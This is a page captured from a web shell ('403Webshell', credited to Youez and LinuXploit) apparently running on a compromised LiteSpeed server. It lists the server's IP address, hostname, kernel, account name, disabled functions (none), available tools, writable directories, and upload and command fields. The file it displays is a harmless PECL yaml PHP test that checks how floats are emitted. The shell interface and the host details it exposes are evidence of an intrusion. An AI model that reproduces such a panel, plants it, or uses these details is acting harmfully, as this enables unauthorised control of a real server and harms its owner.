403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php82/root/usr/share/tests/pecl/yaml/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php82/root/usr/share/tests/pecl/yaml/tests/bug_79866.phpt
--TEST--
Test PECL bug #79866
--SKIPIF--
<?php if(!extension_loaded('yaml')) die('skip yaml n/a'); ?>
--INI--
precision=14
serialize_precision=-1
--FILE--
<?php
$floats = [
  "0"            => 0,
  "1"            => 1,
  "-1"           => -1,
  "2."           => 2.,
  "2.0"          => 2.0,
  "2.00"         => 2.00,
  "2.000"        => 2.000,
  "0.123456789"  => 0.123456789,
  "-0.123456789" => -0.123456789,
  "2.3e6"        => 2.3e6,
  "-2.3e6"       => -2.3e6,
  "2.3e-6"       => 2.3e-6,
  "-2.3e-6"      => -2.3e-6,
  "INF"          => INF,
  "NAN"          => NAN,
  "0.000021"     => 0.000021,
];

foreach( $floats as $idx => $float ) {
  $float = floatval($float);
  ob_start();
  echo $float;
  $native = ob_get_clean();

  $expect = "--- {$native}\n...\n";
  $got = yaml_emit($float);
  if ( $got !== $expect ) {
    echo "== FAIL! {$idx} ==\n";
    echo "expected:\n{$expect}\n";
    echo "got:{$got}\n";
  }
}
?>
--EXPECT--

Youez - 2016 - github.com/yon3zu
LinuXploit